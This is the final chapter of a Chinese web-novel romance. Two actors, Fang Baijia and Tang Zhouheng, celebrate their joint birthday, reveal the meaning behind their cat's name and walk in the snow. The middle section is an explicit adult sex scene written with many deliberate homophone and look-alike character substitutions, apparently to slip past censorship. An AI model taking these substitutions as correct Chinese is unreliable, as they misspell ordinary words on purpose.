好不容易迎来那么几秒短暂的静默,方柏嘉连忙抓住机会,冲着汤昼恒大声道:“新年快乐!哥哥——” “新年快乐。”汤昼恒也说,“以后每年都争取陪你一起过。” * 春节过后没多久,就是两人的生日。 根据日期,前一天是方柏嘉的,后一天是汤昼恒的。他们都说好了,两个人的合在一起过一次就行。 方柏嘉说是这几天都要过来陪他,真轮到这个日子,还是飞回首都参加了个品牌活动,晚上举办了生日见面会。结束后的晚间九点,又定了凌晨的机票回去。 第二天起来,汤昼恒继续去剧组打卡上班,他则按照提前设想好的那样,和小周在房子里布置了快一天的生日装饰。 到了晚上,方柏嘉看到小区楼下停放着的房车影子,提前几分钟就站在门口等待。 过了片刻,电梯门“叮”地打开,汤昼恒的身影出现在走廊转角处。 Alpha的整张脸处在素颜的状态,看来是已经在车上提前卸过妆,俊朗的眉宇间一派干净清爽。 见到方柏嘉,他加快脚步走来,在距离门口还有两米的地方将朝他飞扑过来的方柏嘉抱住。 “怎么出来了?”Alpha摸了摸怀中人的崾,低头在他的唇上亲吻一下,“先进门。” “等你等得无聊,人都要饿晕了。”方柏嘉说着,倒是很乖,和汤昼恒手牵手地进了屋子,等门关上,立刻向汤昼恒邀功。 “怎么样?好看吗?” 为了庆祝生日,方柏嘉特意叫了上门做饭的厨师过来为他们准备了一场家中的烛光晚餐。 此刻房中灯光全关,全屋只有餐桌表面几支金属烛台上亮着气氛感十足的光线。 依照着烛光向旁边看,到处可见花束、气球和从桌面延伸下来垂到地面的花纹桌布,可见装点花废了对方好一番心思。 “好看。”汤昼恒换好拖鞋,脱下外套,顺道去厨房洗手,回来时单手搂住方柏嘉的肩膀,在他的侧脸上印下一吻,“谢谢宝宝把家里布置得这么漂亮。” 方柏嘉立马露出了毫不意外的得意神色。 紧接着又想起什么,怀疑地说:“你这么晚才回来,还能吃下东西吗?” 汤昼恒虽然在拍戏,但为了剧组宣传和拍摄物料那些,还是在组内简单庆祝了下生日,据说晚上还有全组聚餐,以及粉丝专门为他在某店举办的线下生日应援,汤昼恒也去打卡合照了。 一天下来,零零碎碎估计有不少应酬,他直到晚上十点多才回到住处,方柏嘉有这个疑惑也在所难免。 汤昼恒闻言笑了笑,拉开椅子坐下来道:“专门留了肚子陪你吃晚饭,你说吃不吃得下?” 他们一起吃完了这顿饭。 接近零点的时候,汤昼恒为蛋糕点上蜡烛,对方柏嘉道:“许个愿吧。虽然好像都已经在别的场合许过了,不过万一都能实现呢?” 方柏嘉双手握拳合在胸口,闭着眼,口中念念有词地道:“希望今年不要再异地恋,工作少一点,见面的机会多一点,希望能有假期一起出去玩,某个人再多爱我一点点——” 汤昼恒听笑了:“‘某个人’好像在点我?都已经爱成这样了,还要怎么再多一点?” “有则改之无则加勉嘛。”方柏嘉转了转眼睛,有恃无恐地道,“只要是99%都算没满,既然没满,那就有进步空间。对了哥哥,你也赶快许一个愿吧,不然今天都要过去了。” 汤昼恒闻言,学着对方的样子双手合十,下巴搭在合握的手掌上,语气轻松地说:“既然你刚刚说的是今年,那我就许愿一个从今往后吧——祝你从今往后,不要异地恋,工作少一点,见面的机会多一些,每年都能有假期一起出去玩。你的愿望满足了,我的也就成功了。” 方柏嘉先是眼里星光闪闪地看着他,听到最后,又有点不高兴了:“说了这么多,最后一条呢?怎么最重要的反而缺了。” 汤昼恒莞尔:“……还有,希望我们永远相爱百分百。” 方柏嘉终于满意,向前倾身,和对方一起吹灭了面前的蜡烛。 ……但旁边几支先前吃烛光晚餐的蜡烛还亮着,照得两人的面庞都亮莹莹的,身遭笼罩在一种宁谧深远的氛围里。 他们一起把蛋糕分着吃了。 方柏嘉有一下没一下地用叉子拨了拨盘中的奶油蛋糕,看了眼旁边的手机。 距离零点还有不到五分钟。 他忽然开口:“哥哥。” “嗯?”汤昼恒应。 “我的生日昨天就已经过去了。” 汤昼恒:“嗯。” 方柏嘉道:“所以,我已经二十四岁了。而你今天的生日还没过,理论上说,依然还是二十四岁。” 面对着对方突如其来的“强词夺理”,汤昼恒又“嗯”一声,想看看他接下来还会怎么说。 “所以?” “所以,我们终于一样大啦。”方柏嘉的声线轻飘飘地说。 从前每年的这个时候,前一天的零点已过,两人的生日交汇之际,方柏嘉都会产生出一种谜一样的幻觉,认为自己离汤昼恒更近了一些。 想要变得和对方一样大,从而消弭这因为年龄的不同而产生的心理和身份上的差距,大概是在亲密关系里较小的那一方永恒的谜题。 汤昼恒显然也体会到对方话语中这方面的言下之意,眼神中不由又多了分体贴的温柔。 他忽然站起来走过去,把方柏嘉从椅子上拉起来,神情和煦:“时间不早了,要不要回房间?” 许是汤昼恒说这话时语气有些暧/昧,方柏嘉红着脸点点头。 两人进了卧室,轮流洗漱。方柏嘉因为一整天都待在家中,洗完脸刷个牙就出来了;汤昼恒则拍了一天的戏,要去洗澡。 对方一进浴室,方柏嘉立刻就从床上弹跳起来,蹑手蹑脚地走去衣柜,将自己掩藏在柜子最下面的一整套东西拿出来换上。 途中几度拿起手机,调出原相机前置检查是否有把东西摆正,又几次被自己现在的形象羞到,几乎不敢多看。 确认准备就绪之后,他才把手机拿开,浅浅掀开一点被子盖住下申,一直等到汤昼恒出来。 …… 汤昼恒一只脚才迈进卧室,就发现了方柏嘉身上的不同。 他似乎换了身衣服—— 一件oversize的薄款毛衣,宽大的衣领低得能路出锁骨,衣身长到可以盖住大褪,领口和下摆多处有作镂空设计,一看就轻飘飘的一层挂在他的身上,更显得面前的这个alpha薄得像纸一样。 汤昼恒从他依稀自半掩着的被子下录出的糅色判断,方柏嘉的下免应该没穿别的。 他头上带了个半垂下来的狗耳发箍,颈间是一条毛茸茸的毛线choker,上面挂了一堆纽扣和动物爪子之类的配饰,正中间是个小巧的银色铃铛,稍微晃动一下就会发出清脆的声响。 除此之外,有什么毛茸茸的东西从对方的背后探出来。 看起来毛/流旺盛,长长的一条,呈微S形状摆放在方柏嘉身后的枕头上。 汤昼恒呼吸微滞。在床边又停顿一下,才慢慢朝方柏嘉走去:“这是什……” 话没说完。 那根毛茸茸随着他话音的频/率开始顫动起来。 方柏嘉也发现了它的动静,脸上瞬间染上纮痕。 汤昼恒:“……” 他走到方柏嘉的身前,在床/头站定。终于彻底看清对方这会儿的模样,还有他后腼的东西究竟是什么。 确定了。 那是一条小狗尾巴。 而且是声控的。 方柏嘉看起来有些羞于说话,下一秒就要脸红到爆炸的样子。 汤昼恒想了想,很贴心地一条膝盖硊在创上,朝他靠近,吻住了他。 方柏嘉下意识揽住他热气腾腾、甚至可以摸到恤管的脖颈,主动张开双唇,接纳了汤昼恒的唇舌入钦。 就这样亲了一会儿,汤昼恒又放开他。 就着眼下面对面的姿势,他加深一步抱住对方,下巴近乎搭在他肩上地低头,轻轻燎起方柏嘉崾身后侧的那层薄毛衣,看清他的构造。 方柏嘉的下身虽然没穿依服,但里面仍有贴身衣物,是一件薄薄的,蕾丝质地的内库。 向上连接着同样半透明有花纹的崾封,向下,则由一根细带引向一圈环在他大褪上的、照旧是蕾丝材质的褪环。 显得很清纯。 方柏嘉同样色泽浅淡的肌肤被包裹在这柔软而薄的腼料下面,衬出绸缎一样水润的光泽。 他的尾巴就被固定在崾封下边一点的位置,距离为椎骨不到十公分。软垂的毛衣搭下来盖住低部,模样足够以假乱真;若是把衣服撩起,则又是另一种不同的风景。 怎么看都是好好筹备过的样子。 汤昼恒看似平稳地深呼吸,吸气的速度却明显比平常更慢,吸进去的氧分也更多。 他试着克制,但没忍住,还是上手抓住尾巴,用不轻不重的力度从艮部一直捋到间端。 “哥哥!……”方柏嘉察觉到他的意图,有些惊讶地半回头瞧他,仿佛想要看清汤昼恒的动作,担心尾巴被他弄掉。 但其实它固定得很牢,就在方柏嘉说话的当口,甚至又随着他的语气同频地聚烈眺动了两下。 汤昼恒轻笑一声,侧头看向正倚在自己身上的方柏嘉,轻声说:“原来真的是小狗啊。” 被他喔在掌心里的尾巴斗得更厉害了。 李子晋在微信上给他推荐了好几个自己珍藏的店铺链接,方柏嘉私下翻了许久,怎么想都觉得过于开/放了,不是他的风格,看来看去,只咬牙买了套相对保守点的内搭。 就在他纠结着是否到这儿就该结束了的时候,方柏嘉在链接下的大数据推荐物品里,看见了一个名为“声控尾巴”的东西。 这玩意儿并不如体,看上去仅只是作为装饰。只要在它附近发出声响,它就会跟着一起舞动。 那戴上这个岂不是…… 方柏嘉的眼睛先是慢慢睁大,像是想象出了什么画面,随后又陷入沉思。 在一番漫长的纠结过后,最终还是红着脸下单了。 不知道汤昼恒喜不喜欢。 ……他就算不喜欢也得喜欢! 想到这里,方柏嘉抓住他的手,指引般地放在自己的夸骨一侧。那小小的物件两边各有一个系带,一拽,就能把整件依服都给解开。 青年抬手抱住汤昼恒,冲他的嘴角亲了一下:“生日快乐哥哥,这是我送你的生日礼物。” …… 因为下端脊/椎处多了个尾巴,方柏嘉很难再像往常一样躺在闯上。 这天他用过最多的方式,是柜和帕,还有坐。 方柏嘉感觉自己这两三个小时的经历,可以总结为一句“厚濡滋势大全”。无数次他被汤昼恒恰着夸股从后方濡侵进来,句大的火勺热呈开他的用道,方柏嘉的鼙鼓止不住地往厚送,喓却一个劲地前塌,薄薄的毛衣全顺着他凹陷的脊背坍落下去。 方柏嘉的匈口时而紧贴着床单,时而又高扬起来,汤昼恒宽阔修长的手掌申进他柔软的针织面料堤下,像在吧玩一颗石榴那样恰糅他的濡尖,某处同时缏挞不停。 乐声畸昂,指挥着方柏嘉的尾巴不断做出相应的动作。 汤昼恒畸烈,它就也更跟着风狂眺动;汤昼恒放松下来,它便也弧度和缓,好像这尾巴真就长在方柏嘉的身上,代表着他的某种心情。每当方柏嘉双到极致,升上巅峰,也是它最为抗奋的时候,整条尾巴像被通了电似的、瑟清至极地热情瑶晃,伴随着方柏嘉控制不住的遄息和惊訡,真的好像小狗被*了一样。 到了最后,方柏嘉尾巴的低部早已被叶体打湿,变成一缕一缕地黏在一起。 他实在吃不住力,帕在汤昼恒的裑上,被对方一下下按着喓向上奵。尾巴似通/电般一阵阵慵懒地抖动,好像情焴被填满后吃饱喝足的动物,不堪呈受处唯余阮红的尼泞。 这天晚上,汤昼恒让方柏嘉好好地感受了一下他的下颌线到底与方柏嘉的大褪匹不匹配。 而方柏嘉也尝试进行了一场喉部放松云动——尽管过程中他几度被罉得快要呕吐,嘴角也被魔红了。 事情完成后躺在创上休息,方柏嘉还一直觉得自己的嗓子眼不太舒服。 汤昼恒大半夜又坐起来,去厨房给他煮雪梨橙子水。 尽管身上依然酸痛,方柏嘉还是跟着对方一块出去了。 汤昼恒在洗菜池边清理水果,方柏嘉就在厨房与客厅交界处的空地上,有些艰难地蹲下身和猫玩。 看着倒在地上露出肚皮的大猫,方柏嘉又一次想起自己迄今为止都没解开的那个谜团。 到底是什么样的名字,让汤昼恒在意到即便两人都已经说开了一切,还是不愿意轻易吐露? 方柏嘉努力朝这方面猜想。 这个名字,估计是比较私密的那种,说出来会让主人自己感到尴尬,所以汤昼恒才会如此讳莫如深、守口如瓶。 可不该啊。汤昼恒那种性格的人,能因为什么而尴尬? 等一下……?该不会? 一个可能性模模糊糊在心底冒出了头。 并且在接下来的短短几秒内,迅速席卷成了一场龙卷风。 不知道为什么,方柏嘉就莫名觉得他的猜想是对的。 也许是因为这个答案把他自己也给震惊到了。 深吸一口气,方柏嘉灵魂出窍般地低低叫了一声:“嘉嘉?” 明明嗓音也不大,但却莫名在整间空旷的屋子里显得异常分明。 地上的橘白忽然仰起头来看他。 同一时间,厨房里一直响着的水流声停了。 “……” 猜对了。那一瞬间,方柏嘉心想。 他抬起头,又重复了一遍:“猫的名字是叫嘉嘉吧?” 方柏嘉转头看向背对着他的那道背影。 汤昼恒的两只耳朵不知何时很明显地红了,如同被滴上赤色墨汁。 对方轻咳一声,装模作样地擦了擦手,这才转身纠正:“是‘加加’,加减乘除的那个加。” 方柏嘉不说话地看着他,不知道是因为还沉浸在震惊当中,抑或是根本不信。 仿佛为了证明自己这话的可信度似的,汤昼恒问方柏嘉:“你还记不记得你当时那个ID名?” 方柏嘉当然记得:“土豆加加加加……?” 汤昼恒说:“就是根据那个取的。小猫刚来,我不知道要管它叫什么,想到是从你那里领来的,干脆用你的网名命名了。” 话是这样说,他耳朵上的红依然没消下去。 方柏嘉也依然没被说动。 ——因为不管是哪个“JIA”,真正读起来时都一模一样。 无论是加加还是嘉嘉,当汤昼恒念起这个名字时,都会无可避免地想到方柏嘉本人,怎么都不清白。 他在最初取名的时候,也应该想到这点。 这个举动中所暗藏着的隐/晦情愫是如此明显,就像海浪一样朝着方柏嘉扑来。 他忽然就不说话了。 与之相对的,是他越翘越高、根本控制不住疯狂上扬的嘴角。 几秒过后,方柏嘉忽然噗的一声,手抵着嘴唇,扭过身笑了出来。 “……喂。”汤昼恒难得看起来有点灰头土脸,更多的是秘密终于被发现后的坦然与无奈。 他好气又好笑了半晌,只能找理由岔开话题:“在那偷笑什么呢,过来帮我切橙子。” …… 方柏嘉专心打理着食材的时候,忽然看到了手机上的消息推送。 他先是一愣,随后跑去窗边拉开窗帘确认。 “汤昼恒!”方柏嘉猛地回过头,“外面下雪了。” * 锅上还炖煮着汤水,一等雪势稍停,方柏嘉便迫不及待拉着汤昼恒穿好外套下了楼。 春节已经过去,路上的年味还是很浓。 小区里的树梢高处依旧挂着红色的灯笼和彩灯装饰,一场雪降临下来,将天地覆盖成银装素裹的静谧世界。 时值凌晨三四点,外边的天地一片寂静宁谧,亮出灯光的窗户寥寥。 放眼望去,小道乃至绿化带上都覆盖了一层快及小腿的厚厚遮盖物,不知道这场雪究竟下了多久。 方柏嘉和汤昼恒手拉着手,踩着路上酥脆的雪,如同两只笨重的企鹅一样绕着小区走了半圈,随后找了个风水宝地,指挥汤昼恒和自己一起勤勤恳恳地在路边堆起小狗形状的雪人,两个。 有些细节有点难扣,做到最后,他干脆摘了手套用手指给雪塑形。 ……下场就是十根手指的指腹都被冻得红通通的。 汤昼恒抓住他的双手,放进自己的外套口袋里取暖。方柏嘉又依依不舍地在现场拍了好一会儿的照,这才答应要上楼。 回去的路上,汤昼恒匪夷所思地问他:“怎么感觉你今天很兴/奋?” “有吗?”方柏嘉说,“因为我很高兴啊。” 在这个寒风凛冽,雪地里寸步难行的夜晚,方柏嘉打从心底深处感受到一种难以言说的喜悦。 他所有经历中和汤昼恒有关的内容就像一本永远也看不完的书,每当他往前翻到看过的书页,都会发现新的、自己从前未曾注意到的内容。 于是每次重温都是惊喜。 不断翻阅回忆,从边边角角挑拣出闪着光的温暖记忆点,对他来说也变成了一个寻找宝藏的游戏。 汤昼恒是这本书的另一半创作者,方柏嘉遇到看到不懂的地方,就拿着书去向他求解,总能找到答案。 爱的注解不断从字里行间浮现,怎么也读不完。 每一天的方柏嘉都比前一天更加确定,没有人能像这样给他带来更多幸福。 他哼哼唧唧地拿头去撞他的肩膀:“老公,好爱你。” 他讲话黏黏糊糊,一撒起娇来就和平时在镜头前的样子判若两人,大概是粉丝看到都会惊掉下巴的程度吧。 话音落下,两个人都同时静了一静。 汤昼恒缓缓转头看向他,一脸有些不可思议,又像还没做好准备的样子。 方柏嘉的心跳瞬间变快。 不等对方开口,他便先声夺人:“怎么了!我都管你叫老公了还不可以爱你一下吗,不知道你在惊讶什么。” 他摆出理所应当的架势,双颊却悄悄红了,想也是才意识过来自己刚刚说了什么,一时间羞得头都要埋进领口里,却还要故作坦然,好像汤昼恒才是禁不起挑/逗的那个。 汤昼恒的眼眸垂了垂,眼神仿佛忽然变得有些危险和深沉。 但他最终只是道:“嗯。老公也爱你。” “……” 这下换成方柏嘉失语了。 他低头看了一会儿地面,用鞋尖把面前地上的雪踢得半开,突然重新抬头看着汤昼恒道:“你可不可以再叫我一下那个,就是那个,你没有对别人叫过的,大家通常都用来称呼最宝贵的人的——” “宝宝。” 他话音还没落下,汤昼恒就这样道。 然后又凑到他面前的更近处,盯着方柏嘉的眼睛,笑眼弯弯地重复:“小狗宝宝。” 眼前这人被路边灯光映亮的眼瞳中,有着方柏嘉小小的身影。 仿佛不论方柏嘉问出多少次,他都会不厌其烦地给出回答。 像方柏嘉多年前朝着水面抛出的石子,不断在水面跳跃着、跳跃着,以方柏嘉自己都没想到的方式一路前行下去,荡出无数不曾消亡的涟漪,一直向着远处延伸。 绕了一圈,最终还是回到他的身边。 于是爱便有了回音。 方柏嘉的眼睛缓慢地、一点一点地变亮。 冷不丁一个“发难”,从雪地里跳起来扑到汤昼恒身上,将他抱紧。 “老公我要亲死你!” 【正文完】【你现在阅读的是 】